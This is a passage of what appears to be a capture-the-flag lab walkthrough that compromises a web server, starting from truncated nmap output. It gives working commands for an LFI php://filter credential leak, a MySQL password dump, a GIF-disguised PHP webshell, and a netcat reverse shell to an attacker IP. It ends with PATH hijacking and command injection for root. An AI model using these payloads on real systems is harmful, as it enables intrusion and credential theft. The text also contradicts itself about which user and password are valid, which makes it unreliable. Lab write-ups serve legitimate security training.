111/udp6 rpcbind| 100024 1 40613/tcp6 status| 100024 1 46576/udp6 status| 100024 1 50913/tcp status|_ 100024 1 58315/udp status3306/tcp open mysql syn-ack ttl 63 MySQL (blocked - too many connection errors)| banner: k\x00\x00\x00\xFFi\x04Host '192.168.10.72' is blocked because o|_f many connection errors; unblock with 'mysqladmin flush-hosts'50913/tcp open status syn-ack ttl 63 1 (RPC #100024)Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed portDevice type: general purposeRunning: Linux 3.X|4.XOS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4OS details: Linux 3.2 - 4.14Uptime guess: 0.041 days (since Tue Feb 17 10:00:51 2026)Network Distance: 2 hopsTCP Sequence Prediction: Difficulty=255 (Good luck!)IP ID Sequence Generation: All zeros
Host script results:|_ipidseq: All zeros|_clock-skew: -1s| qscan:| PORT FAMILY MEAN (us) STDDEV LOSS (%)| 80 0 1121.50 349.88 0.0%| 111 0 1090.50 281.39 0.0%| 3306 0 1171.30 325.32 0.0%|_50913 0 1287.50 410.90 0.0%|_dns-brute: Can't guess domain of "192.168.10.176"; use dns-brute.domain script argument.|_path-mtu: PMTU == 1500|_fcrdns: FAIL (No PTR record)
Read data files from: /usr/share/nmapOS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .# Nmap done at Tue Feb 17 11:00:12 2026 -- 1 IP address (1 host up) scanned in 338.16 secondsNext, detecting that it has a web page, we will access the website:

2. LFI EXPLOITATION AND CREDENTIAL EXTRACTION (Web Phase)
Sección titulada «2. EXPLOTACIÓN DE LFI Y EXTRACCIÓN DE CREDENCIALES (Fase Web)»Our goal is to gain access to sensitive server files (source code and configurations) by exploiting a vulnerability in the web application called "Local File Inclusion (LFI)" using the technique called "PHP Wrappers (php://filter)"
2.1. INITIAL ANALYSIS AND HYPOTHESIS
Sección titulada «2.1. ANÁLISIS INICIAL Y HIPÓTESIS»2.1.1. Observation
Sección titulada «2.1.1. La Observación»When making the initial request with curl or browsing the website, we will observe the link structure:

Link structure:
[ <a href="/">Home</a> ] [ <a href="?page=login">Login</a> ] [ <a href="?page=upload">Upload</a> ]2.1.1. Hypothesis
Sección titulada «2.1.1. La Hipótesis»The use of the ?page= parameter suggests that the server is using a PHP function (probably include(), require(), or file_get_contents()) to dynamically load content.
The code in the backend likely looks like this:
<?php include($_GET['page'] . ".php"); ?>This is a classic vector for LFI (Local File Inclusion). If there is no sanitization, we can manipulate page to load files that the developer did not intend to display.
2.2. THE TECHNICAL CHALLENGE: “BLIND” LFI
Sección titulada «2.2. EL RETO TÉCNICO: “BLIND” LFI»We want to read the configuration file, which we suspect is named config or config.php.
Failed Attempt:
If we do: http://192.168.10.176/?page=config

Curl via terminal:

The server does: include("config.php");
The Problem: The file config.php contains variables ($username, $password) but prints nothing (echo). Therefore, the server executes the PHP code internally and returns a blank page. We cannot see the passwords.
2.3. THE SOLUTION: PHP WRAPPERS
Sección titulada «2.3. LA SOLUCIÓN: PHP WRAPPERS»To prevent the server from executing the PHP code, we need it to return it to us as plain text. We will use the php://filter protocol.
The Technique: We ask the server to:
- Open the resource
config. - Pass it through a Base64 conversion filter.
- Return the result to us.
Since it is in Base64, the server does not recognize it as executable code, so it prints the encoded text string.
The Executed Command:
┌──(kali㉿portelcore-station)-[~/forensic_mkII/maquina-2-web]└─$ curl "http://192.168.10.176/?page=php://filter/convert.base64-encode/resource=config"
2.4. BASE64 DECODING ANALYSIS
Sección titulada «2.4. ANÁLISIS DECODIFICACIÓN BASE64»Now we will decode the obtained string by removing the string or using the -i option (ignore garbage) if available, although it is best to remove line breaks.
┌──(kali㉿portelcore-station)-[~/forensic_mkII/maquina-2-web]└─$ echo "PD9waHANCiRzZXJ2ZXIJICA9ICJsb2NhbGhvc3QiOw0KJHVzZXJuYW1lID0gInJvb3QiOw0KJHBhc3N3b3JkID0gIkg0dSVRSl9IOTkiOw0KJGRhdGFiYXNlID0gIlVzZXJzIjsNCj8" | tr -d '\n' | base64 -d
Then, we have obtained the actual content of config.php:
<?php$server = "localhost";$username = "root";$password = "H4u%QJ_H99";$database = "Users";?>3. FROM MYSQL TO UPLOAD
Sección titulada «3. DE MYSQL A L’UPLOAD»Now that we have the MySQL credentials (root / H4u%QJ_H99) obtained via LFI, we must gain access to the web panel and discover where the files are stored.
3.1. DATABASE ENUMERATION (The missing step)
Sección titulada «3.1. ENUMERACIÓN DE LA BASE DE DATOS (El paso perdido)»We have the database user, but we need the web user. Often, the data is correlated.
3.1.1 Connection
Sección titulada «3.1.1 Conexión»We will connect to the remote MySQL server from our Kali machine.
Command:
┌──(kali㉿portelcore-station)-[~/forensic_mkII/maquina-2-web]└─$ mysql -h 192.168.10.176 -u root -p# Et demanarà password. Introdueix: H4u%QJ_H993.1.1.1 ⚠️ CRITICAL ERROR: HOST BLOCKED
Sección titulada «3.1.1.1 ⚠️ ERROR CRÍTICO: HOST BLOQUEADO»If we receive the error ERROR 1129 ... Host '...' is blocked:

- Cause: Too many connection errors (Nmap).
- Solution: We will change the IP (VPN/Vbox).
3.1.1.2 ⚠️ SSL ERROR
Sección titulada «3.1.1.2 ⚠️ ERROR SSL»If we receive the error ERROR 2026 (HY000): TLS/SSL error... or unknown variable 'ssl-mode':

-
Cause: Our client (MariaDB on Kali) requires a different flag to disable mandatory SSL.
-
Solution: We will use the flag
-skip-ssl.┌──(kali㉿portelcore-station)-[~/forensic_mkII/maquina-2-web]└─$ mysql -h 192.168.10.176 -u root --skip-ssl -p
3.1.2 Exploration (Recon)
Sección titulada «3.1.2 Exploración (Recon)»Once inside the MySQL prompt (mysql>), we will execute the following queries to see what is there:
-
List databases:
┌──(kali㉿portelcore-station)-[~/forensic_mkII/maquina-2-web]└─$ SHOW DATABASES;Result: We will see a database called
Users. -
Select the database:
┌──(kali㉿portelcore-station)-[~/forensic_mkII/maquina-2-web]└─$ USE Users; -
View tables:
┌──(kali㉿portelcore-station)-[~/forensic_mkII/maquina-2-web]└─$ SHOW TABLES;Result: There is a table called
users. -
Dump content:
┌──(kali㉿portelcore-station)-[~/forensic_mkII/maquina-2-web]└─$ SELECT * FROM users;

3.1.3 Result obtained
Sección titulada «3.1.3 Resultado obtenido»The database returns the following (names and passwords in base64):
MySQL [Users]> SELECT * FROM users;+------+------------------+| user | pass |+------+------------------+| kent | Sld6WHVCSkpOeQ== || mike | U0lmZHNURW42SQ== || kane | aVN2NVltMkdSbw== |+------+------------------+3 rows in set (0.019 sec)
MySQL [Users]>3.1.4 Decoding
Sección titulada «3.1.4 Decodificación»We exit MySQL (exit) and will decode the passwords in our terminal:
┌──(kali㉿portelcore-station)-[~/forensic_mkII/maquina-2-web]└─$ echo "Sld6WHVCSkpOeQ==" | base64 -dJWzXuBJJNy┌──(kali㉿portelcore-station)-[~/forensic_mkII/maquina-2-web]└─$ echo "U0lmZHNURW42SQ==" | base64 -dSIfdsTEn6I┌──(kali㉿portelcore-station)-[~/forensic_mkII/maquina-2-web]└─$ echo "aVN2NVltMkdSbw==" | base64 -diSv5Ym2GRo┌──(kali㉿portelcore-station)-[~/forensic_mkII/maquina-2-web]└─$Now we know that the web user is mike and the password is SIM2019.
3.2. WEB ACCESS AND UPLOAD BYPASS
Sección titulada «3.2. ACCESO WEB Y BYPASS DE SUBIDA»Now that we have valid credentials, we will go to the website.
3.2.1 Login
Sección titulada «3.2.1 Login»- We will navigate to
http://192.168.10.176/?page=login. - We will enter User:
kent/ Pass:JWzXuBJJNy. - If the login is correct, it will redirect us or we will see that we now have access to
?page=upload.
3.2.2 Creation of the malicious file (Filter bypass)
Sección titulada «3.2.2 Creación del archivo malicioso (Bypass de filtros)»The application normally verifies that the file is an image. If we upload a .php directly, it will give us an error (“Extension not allowed”).
The technique: We will create a “Fake GIF”.
- We will add the magic header
GIF89ato the beginning of the file (the server thinks it is an image). - We will add the malicious PHP code afterwards.
- We will save it as
.gif.
Command in Kali:
┌──(kali㉿portelcore-station)-[~/forensic_mkII/maquina-2-web]└─$ echo "GIF89a" > shell.gif┌──(kali㉿portelcore-station)-[~/forensic_mkII/maquina-2-web]└─$ echo "<?php system(\$_GET['cmd']); ?>" >> shell.gif3.2.3 The upload
Sección titulada «3.2.3 La subida»-
We will go to the login
http://192.168.10.176/?page=login.
-
We will go to
http://192.168.10.176/?page=upload.
-
We will select the
shell.giffile that we just created.
-
We will click on “Upload”.

3.3. DIRECTORY DISCOVERY
Sección titulada «3.3. EL DESCUBRIMIENTO DEL DIRECTORIO»Here we answer: “How do we know where the file is?”.
Method A: Logic and Standards
Sección titulada «Método A: Lógica y Estándares»In web applications, 90% of the time images go into folders named:
/uploads//upload//images//files/
Method B: Fuzzing (Gobuster/Dirb)
Sección titulada «Método B: Fuzzing (Gobuster/Dirb)»If it weren't obvious, we would use gobuster to find hidden folders:
┌──(kali㉿portelcore-station)-[~/forensic_mkII/maquina-2-web]└─$ gobuster dir -u http://192.168.10.176 -w /usr/share/seclists/Discovery/Web-Content/common.txt
Result:
.../upload (Status: 301) [Size: 317] [--> http://192.168.10.176/upload/]...Then, within the browser, we will enter uploads to verify if the file we uploaded exists:
-
Open the browser.
-
We will type:
http://192.168.10.176/upload/.
Instead of returning a “403 Forbidden” error, the server shows us a list of all files in the folder. This is an Apache configuration flaw (Options +Indexes).
We were able to see our file, but with the name changed to an MD5 hash: f3035846cc279a1aff73b7c2c25367b9.gif.
4. REMOTE CODE EXECUTION (RCE) AND REVERSE SHELL
Sección titulada «4. EJECUCIÓN REMOTA DE CÓDIGO (RCE) Y REVERSE SHELL»Next, we will convert the file upload capability and the LFI into an interactive system shell using the vulnerability called “Directory Listing + Local File Inclusion (Cookie lang)” with the malicious shell file we used previously:f3035846cc279a1aff73b7c2c25367b9.gif
4.1. PAYLOAD LOCATION (Enumeration)
Sección titulada «4.1. LOCALIZACIÓN DEL PAYLOAD (Enumeración)»After uploading the file via ?page=upload, we needed to know where it was stored and its name (since the application renames files using an MD5 hash).
We will check the standard directory /upload/:
┌──(kali㉿portelcore-station)-[~/forensic_mkII/maquina-2-web]└─$ curl http://192.168.10.176/upload/4.2. EXECUTION VIA COOKIE (The Trigger)
Sección titulada «4.2. EJECUCIÓN VIA COOKIE (El Trigger)»The Attack Logic
Sección titulada «La Lógica del Ataque»We know from the previous code audit (index.php) that the application does this:
include("lang/".$_COOKIE['lang']);Therefore, we must:
- Exit the directory
lang/using../. - Enter the directory
upload/. - Point to our file
.gif(which contains malicious PHP code).
Execution Verification
Sección titulada «Verificación de Ejecución»We will send a request by modifying the cookie lang and passing the command id via the GET parameter cmd (which we will inject into the GIF).
┌──(kali㉿portelcore-station)-[~/forensic_mkII/maquina-2-web]└─$ curl -v -b "lang=../upload/f3035846cc279a1aff73b7c2c25367b9.gif" "http://192.168.10.176/?cmd=id"
Result:
...uid=33(www-data) gid=33(www-data) groups=33(www-data)...We confirm that we have RCE as the web server user.
4.3. OBTAINING A REVERSE SHELL (Initial Access)
Sección titulada «4.3. OBTENCIÓN DE REVERSE SHELL (Initial Access)»To work comfortably, we need an interactive terminal, instead of just executing a command every time.
4.3.1: Preparing the Listener
Sección titulada «4.3.1: Preparar el Listener»On our attack machine (Kali), we will open a port to receive the connection:
nc -nlvp 4444
4.3.2: The Connection Payload
Sección titulada «4.3.2: El Payload de Conexión»We will use a classic Reverse Shell from netcat (since nc is usually installed on these machines). Since we are passing the command via URL, it is crucial to encode special characters (URL Encoding), especially & (%26) and spaces (+ or %20).
Unencoded command:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.10.71 4444 >/tmp/fFinal Exploitation Command:
curl -b "lang=../upload/f3035846cc279a1aff73b7c2c25367b9.gif" \"http://192.168.10.176/?cmd=rm+/tmp/f;mkfifo+/tmp/f;cat+/tmp/f|/bin/sh+-i+2>%261|nc+192.168.10.71+4444+>/tmp/f"
4.4. SHELL STABILIZATION (Post-Exploitation)
Sección titulada «4.4. ESTABILIZACIÓN DE LA SHELL (Post-Explotación)»Once we receive the connection to nc, the terminal is unstable (if we press Ctrl+C, we lose the connection).

Stabilization Procedure:
-
Upgrade to TTY:
python -c 'import pty; pty.spawn("/bin/bash")'# O si no hi ha python:/usr/bin/script -qc /bin/bash /dev/null -
Adjust Variables:
export TERM=xterm

We now have a stable shell as www-data. The next step is to move laterally towards user mike or kate using the credentials we already have or have found in MySQL.
5. PRIVILEGE ESCALATION AND POST-EXPLOITATION
Sección titulada «5. ESCALADA DE PRIVILEGIOS Y POST-EXPLOTACIÓN»Having the reverse shell as www-data, our goal now is to gain root access and read the flags using the “SUID binary abuse + PATH Hijacking” technique.
5.1. LATERAL MOVEMENT (From www-data to User)
Sección titulada «5.1. MOVIMIENTO LATERAL (De www-data a Usuario)»Once we have the reverse shell, we are the web server user (www-data). This user has very few privileges. We need to become a real system user.
5.1.1 Credential Recovery
Sección titulada «5.1.1 Recuperación de Credenciales»In the previous phase (MySQL), we extracted and decoded the users' passwords:
kent:JWzXuBJJNymike:SIfdsTEn6Ikane:iSv5Ym2GRo
5.1.2 User Switching
Sección titulada «5.1.2 Cambio de Usuario»We will attempt to access using the user credentials we have collected:

Upon testing, we saw that it worked with user Kent and we were able to gain access.
5.2. PRIVILEGE ENUMERATION (Recon)
Sección titulada «5.2. ENUMERACIÓN DE PRIVILEGIOS (Recon)»We will look for ways to escalate to root. The most common technique in Linux is to search for binaries with the SUID (Set User ID) bit enabled. These files run with the permissions of the owner (root) instead of the user executing them.
5.2.1 Searching for SUIDs
Sección titulada «5.2.1 Búsqueda de SUIDs»find / -perm -u=s -type f 2>/dev/nullResult (Filtered output):

After checking that there is nothing with this user, we will switch to the other user named kane and execute the same command:

5.3 FIRST ESCALATION: FROM KANE TO MIKE
Sección titulada «5.3 PRIMERA ESCALADA: DE KANE A MIKE»As user kane, we will enumerate our directory and find a suspicious binary.
5.3.1 Reconnaissance (msgmike)
Sección titulada «5.3.1 Reconocimiento (msgmike)»ls /home/kane/Binary Analysis:
We will execute strings to see what it does:
strings /home/kane/msgmikeResult:

Vulnerability Detected: The program executes the command cat without using the absolute path (/bin/cat). This allows for a PATH Hijacking attack. Since the binary is SUID for mike, if we hijack cat, we will execute code as mike.
5.3.2 Exploitation (Hijacking cat)
Sección titulada «5.3.2 Explotación (Hijacking cat)»We want that when the program calls cat, it actually opens a shell (/bin/sh).
-
Go to a secure directory:
Ventana de terminal cd /tmp -
Create the fake
cat:Ventana de terminal echo "/bin/bash" > catchmod +x cat -
Manipulate the PATH and Execute:
export PATH=/tmp:$PATH/home/kane/msgmike

Result:
The program attempts to perform cat ..., but finds our script in /tmp/cat. A new shell opens.
whoamimikeNow we have full control over the user mike.
5.4. SECOND ESCALATION: FROM MIKE TO ROOT
Sección titulada «5.4. SEGUNDA ESCALADA: DE MIKE A ROOT»Now that we are mike, we will repeat the enumeration process.
5.4.1 Reconnaissance (msg2root)
Sección titulada «5.4.1 Reconocimiento (msg2root)»In the home folder of mike, we will find another SUID binary.
ls -la /home/mike/
Binary Analysis:
strings /home/mike/msg2root
Result:
Message for root:/bin/echo %s >> /root/messages.txtVulnerability:
- PATH Hijacking: Not possible because it uses the absolute path
/bin/echo. - Command Injection: Yes. The program takes the text we write (
%s) and places it inside the command stringsystem. If we insert a semicolon (;), we can break the original command and execute our own.
5.4.2 Exploitation (Command Injection)
Sección titulada «5.4.2 Explotación (Command Injection)»The command that the system executes is:
/bin/echo [NUESTRO_INPUT] >> /root/messages.txt
If our input is test; /bin/sh -p, the resulting command will be:
/bin/echo test; /bin/sh -p >> /root/messages.txt
This will execute the echo and subsequently open a root shell.
Step by step:
-
Run the binary:
./msg2root -
Inject the Payload: When it prompts “Message for root:”, we will type:
a; /bin/bash -p
One-Liner Alternative:
echo "a; /bin/bash -p" | ./home/mike/msg2root5.4.3 Validation
Sección titulada «5.4.3 Validación»whoamiroot
5.5. FLAG CAPTURE
Sección titulada «5.5. CAPTURA DE FLAGS»Since the interactive shell is unstable, we will inject a command that reads the flag and saves it to /tmp with open permissions. We will use /bin/cat (absolute) to avoid conflicts with our previous exploit.
Payload: a; /bin/cat /root/flag.txt > /tmp/flag.txt; chmod 777 /tmp/flag.txt #
Execution (One-Liner):
echo "a; /bin/cat /root/flag.txt > /tmp/flag.txt; chmod 777 /tmp/flag.txt #" | /home/mike/msg2root
5.5.1 Validation
Sección titulada «5.5.1 Validación»We will verify that the file has been created and belongs to root:
ls -l /tmp/flag.txtExpected Result (SUCCESS):
If we see -rwxrwxrwx 1 root root ..., the exploit has worked.
IMPORTANT: We will use /bin/cat (absolute path) because the PATH variable still has /tmp at the beginning and we might accidentally execute our own exploit cat instead of reading the file.
/bin/cat /tmp/flag.txt

